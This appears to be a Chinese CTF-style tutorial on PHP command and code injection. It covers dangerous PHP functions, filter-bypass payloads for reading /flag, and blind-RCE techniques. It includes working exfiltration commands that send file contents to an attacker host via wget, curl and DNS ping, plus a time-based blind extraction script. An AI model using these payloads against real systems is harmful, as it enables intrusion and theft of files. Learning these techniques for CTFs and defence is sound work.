Skip to content

命令执行概述

远程命令执行与远程代码执行

命令执行和代码执行的主要区别在于它们使用的执行机制不同。

远程命令执行(Remote Command Execute) 指攻击者利用系统或应用程序对用户输入参数的验证不严,将恶意命令注入到系统中,从而在服务器上执行这些命令,最终获取控制权限。这种攻击通常发生在应用程序允许用户输入直接传递给系统命令的情况下。

远程代码执行(Remote Code Execute) 则涉及将恶意代码注入到应用程序中并在服务器上执行。与命令执行不同,代码执行攻击利用应用程序本身的执行机制,将恶意代码直接嵌入到脚本中,使得应用程序解析并执行这些代码。这种攻击相当于在应用程序中植入了一个“后门”。

命令执行函数

依赖于系统命令的执行机制。

system()

system() 函数用于执行外部程序并直接将输出显示到标准输出(即浏览器)。不需要手动构造 echo 语句。

示例代码
php
<?php
$cmd = 'whoami';
system($cmd);

exec()

exec() 函数执行外部程序并将输出返回到一个数组中。它适用于需要处理命令输出的情况,需要手动构造 var_dump() / print_r 语句来显示输出。

示例代码
php
<?php
$cmd = 'whoami';
exec($cmd, $array);
print_r($array);

passthru()

passthru() 函数执行外部程序并直接将输出传递到标准输出(即浏览器),适用于需要处理二进制数据的场景,不需要手动构造 echo 语句。

示例代码
php
<?php
$cmd = 'whoami';
passthru($cmd);

shell_exec()

shell_exec() 函数执行外部程序并将输出作为字符串返回。这对于获取命令输出并在 PHP 中处理是非常方便的,需要手动构造 echo 语句来显示输出。

示例代码
php
<?php
$cmd = 'whoami';
$output = shell_exec($cmd);
echo $output;

popen()

popen() 函数打开一个进程管道,可以用来执行命令并读取其输出或写入数据。它以文件流的方式处理命令输出,需要手动构造 var_dump() / print_r 语句来显示输出。

示例代码
php
<?php
$cmd = 'whoami';
$output = popen($cmd, 'r');
while ($s = fgets($output)) {
    print_r($s);
}

proc_open()

proc_open() 函数用于启动一个进程并与其进行双向通信。它允许对进程的输入和输出进行更复杂的控制,需要手动构造 echo 语句来显示输出。。

示例代码
php
<?php
$cmd = 'whoami';
$array = array(
    array("pipe", "r"),   // 标准输入
    array("pipe", "w"),   // 标准输出内容
    array("file", "/tmp/error.txt", "a")    // 标准错误输出
);

$fp = proc_open($cmd, $array, $pipes);   // 打开一个进程通道
echo stream_get_contents($pipes[1]);     // 为什么是 $pipes[1], 因为 1 是输出内容
proc_close($fp);

`` (反引号)

使用反引号 `command` 可以在 PHP 中执行外部命令,并将结果作为字符串返回。反引号可以视作 shell_exec() 的缩写,需要手动构造 echo 语句来显示输出。。

示例代码
php
<?php
$cmd = 'whoami';
echo `$cmd`, PHP_EOL;

pcntl_exec()

pcntl_exec() 函数用于替换当前进程映像为指定的程序,通常用来执行 shell 命令。不会返回输出到 PHP 脚本中,因此无法通过 PHP 显示结果。

示例代码
php
<?php
$cmd = 'whoami';
pcntl_exec("/bin/bash", array("-c", $cmd));

代码执行函数

通过注入代码并让应用程序执行。

eval()

eval() 函数用于将字符串作为 PHP 代码执行。此函数应谨慎使用,以避免代码注入攻击。

示例代码
php
<?php
$code = $_GET['code'];
eval($code);

// ?code=system('whoami');

assert()

assert() 函数用于在运行时评估一个表达式,并在表达式为假时产生警告。它也可以用于执行代码片段,但这是一种较少见的用途。

示例代码
php
<?php
$code = $_GET['code'];
assert($code);

// ?code=system('whoami');

call_user_func()

call_user_func() 函数用于调用回调函数,可以用于动态执行函数。

示例代码
php
<?php
$function = $_GET['function'];
call_user_func($function);

// ?function=system&arg=whoami

create_function()

create_function() 函数用于创建一个匿名函数。请注意,此函数在 PHP 7.2.0 中已被弃用,并且在 PHP 8.0.0 中被移除。

示例代码
php
<?php
$code = $_GET['code'];
$func = create_function('', $code);
$func();

// ?code=system('whoami');

array_map()

array_map() 函数可以用于将回调函数应用到数组的每个元素上。虽然通常用于数组处理,但也可以用于代码执行。

示例代码
php
<?php
$code = $_GET['code'];
array_map(create_function('$v', $code), array(1));

// ?code=system('whoami');

常见符号与逻辑运算符

管道符(|

  • Linux: 将上一条命令的输出作为下一条命令的输入。
    运行示例

    image9

  • Windows: 只运行管道符后的命令。

逻辑或(||

  • Linux 和 Windows: 上一条命令执行失败后才执行下一条命令。

后台执行(&

  • Linux: 将命令放到后台执行。
  • Windows: 不论前一条命令是否出错,都会执行后面的命令。

逻辑与(&&

  • Linux 和 Windows: 前一条命令成功执行后才执行下一条命令。

分隔符(;

  • Linux: 命令分隔符,每个命令依次执行,不管前一个命令的成功与否。
  • Windows: 相似的功能,但不如 Linux 中的灵活。

替换符(`

  • Linux: 将反引号中的命令执行并用其输出替代反引号。

重定向符(>>>

  • >: 将标准输出重定向到文件,覆盖文件内容。
  • >>: 将标准输出追加到文件末尾。

绕过过滤

命令组成

每个命令通常由以下部分组成:

  • 命令名: 执行的命令。
  • 选项: 调整命令行为的可选参数。
  • 参数: 命令的输入。

cat绕过

php
<?php
$cmd = 'system("tac /flag");';
if (!preg_match("/cat/i", $cmd)) {
    eval($cmd);
} else {
    echo "illegal";
}

cat 被过滤时,还有其他命令可以用来读取文件内容,具体如下所示:

  • cat(concatenate的缩写)用于从第一行开始显示文件的全部内容。它也可以将多个文件的内容合并并输出。

    bash
    cat /flag
  • tac(cat的反向)用于从最后一行开始显示文件的内容,与 cat 相反。

    bash
    tac /flag
  • nl(number lines的缩写)类似于 cat -n ,用于显示文件内容时在每一行前面添加行号。

    bash
    nl /flag
  • more 命令用于逐页显示文件内容。它根据窗口大小显示一页,用户可以按空格键翻页。

    bash
    more /flag
  • less 是比 more 更先进的分页工具,支持向前和向后翻页,且支持搜索字符。

    bash
    less /flag
  • head 用于从文件开头显示指定数量的行,默认显示前10行。可以使用 -n 选项指定显示的行数。

    bash
    head /flag
  • tail 用于显示文件的最后部分,默认显示最后10行。可以使用 -n 选项指定显示的行数。

    bash
    tail /flag
  • sort 用于对文件内容进行排序。可以按字母顺序、数字顺序等进行排序。

    bash
    sort /flag
  • date 命令显示当前的系统日期和时间。使用 -f 参数可以从文件中读取时间格式数据。

    bash
    date -f /flag
  • paste 用于将多个文件的内容逐行合并。它通常用于将列对齐并合并到一起。

    bash
    paste /flag
  • diff 用于比较两个文件的差异,并输出它们之间的不同部分。常用于版本控制和文件比较。

    bash
    diff /flag /etc/passwd
  • bzmore 用于分页显示压缩的 bzip2 格式文件的内容。它类似于 more 命令,但支持 .bz2 文件,同时也能用来读取其他文件。

    bash
    bzmore /flag
  • curl 用于从网络上下载文件或发送 HTTP 请求。它支持多种协议(如 HTTP、HTTPS、FTP 等)。

    bash
    curl file:///flag
  • uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。

    bash
    uniq /flag
  • sed 是一个流编辑器,功能非常强大,这里我们利用其过滤显示文本功能。

    bash
    sed -n "/flag{/p" /flag
    常用示例
    • 打印第 1 到 5 行:
      bash
      sed -n "1,5p" filePath
    • 打印 3 到 5 行,并且打印行号:
      bash
      sed -n '3,5{=;p}' filePath
    • 打印第 10 行:
      bash
      sed -n "10p" filePath
  • cut 命令用于显示每行从开头算起 num1 到 num2 的文字。

    bash
    cut -b 1-100 /flag
    常用选项
    • -b:以字节为单位进行分割。
    • -c:以字符为单位进行分割。
    • -d:自定义分隔符,默认为制表符。
    • -f:与 -d 一起使用,指定显示哪个区域。

空格绕过

  • <<>: 绕过空格。
    示例
    bash
    cat</flag
    cat<>/flag
  • $IFS: 内部字段分隔符,利用其不同的分隔符进行绕过,像其他的还有 %09${IFS}$IFS$9
    示例
    bash
    cat$IFS/flag
    cat%09/flag
    cat${IFS}/flag
    cat$IFS$9/flag
  • {}: 通过不同的空格处理方式绕过过滤。
    示例
    bash
    {cat,/flag}

通配符

  • *: 匹配任意长度和任意字符。
    示例
    bash
    cat /fl*
  • ?: 匹配单个任意字符。
    示例
    bash
    cat /fl??
  • []: 匹配指定范围内的任意单个字符。
    示例
    bash
    cat /fl[0-z]g
  • {}: 匹配集合中的字符串。
    示例
    bash
    cat /fl{a,d}g

关键字绕过

  • 反斜线(\: 用于转义字符。
    示例
    bash
    c\a\t /flag
  • 引号连接符: 连接命令或参数。
    示例
    bash
    ca""t /flag
  • 命令提示符: 利用不同的提示符形式绕过过滤,$*$@$x (x=1~9)${x} (x>9) 在没有传参时,这些值都为空($0 表示 Shell 本身的文件名,不可用)
    示例
    bash
    cat /fl$@ag

其他绕过技巧

  • Base64编码: 对命令或参数进行编码,以绕过字符过滤。
    示例
    bash
    echo cat | base64
    `echo Y2F0Cg== | base64 -d` flag
  • 变量拼接: 通过变量拼接构建命令,避开直接检测。
    示例
    bash
    a=g;cat /fla$a

无回显 RCE

无回显远程代码执行是指攻击者可以在目标系统上执行代码,但无法直接看到执行结果。以下是几种常见的无回显 RCE 的利用方法。

wget

wget--post-file 参数允许从一个文件中读取内容作为 POST 请求体的内容。

bash
wget --post-file=/flag http://your_ip:your_port

HTTP

通过 HTTP 请求将文件内容发送到指定服务器:

bash
curl http://your_ip:your_port/?value=`cat /flag`

DNSlog

通过 DNSlog 平台,可以将系统命令的执行结果通过 DNS 请求带出。常用的 DNSlog 平台有:

  • dnslog.cn: 只能使用 DNSlog 外带,很多防火墙会屏蔽该域名。
  • ceye.io: 支持 HTTP 和 DNSlog 外带,推荐使用。

以下是通过 ping 命令获取主机名的例子:

bash
ping `whoami`.example.com

由于 DNS 请求的长度限制,文件内容不能包含特殊字符,也不能进行 base64 编码(因为其中可能包含 =)。可以使用 xxd 将文件内容转换为十六进制表示:

bash
ping `xxd -p /flag`.example.com

时间盲注

通过类似 SQL 时间盲注的方法,可以利用 cutif 实现命令时间盲注。

cut 命令用于截取文件内容的一部分(详见 cat绕过),这里用来逐字符读取 /flag 文件的内容。以下是 shell 语言中的分支语句:

shell
if condition
then
    command1 
    command2
    ...
    commandN 
fi

例如,通过 cut 截取 /flag 文件的第一位判断是否为 f ,如果是则延时 3 秒:

bash
if [ `cut -c 1 /flag` = 'f' ];then sleep 3;fi

循环遍历所有可见字符,进行判断即可实现命令盲注。以下是一个示例 Python 脚本:

python
import requests
import string

chars = string.printable
flag = ""
url = "http://localhost"

for i in range(1, 100):
    found_char = False
    for char in chars:
        payload = f"?cmd=if [ `cut -c {i} /flag` = '{char}' ];then sleep 3;fi"
        try:
            response = requests.get(url + payload, timeout=3)
        except requests.exceptions.Timeout:
            flag += char
            print(flag, flush=True)
            found_char = True
            break
    if not found_char:
        break

无参数 RCE

php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

Wait for it...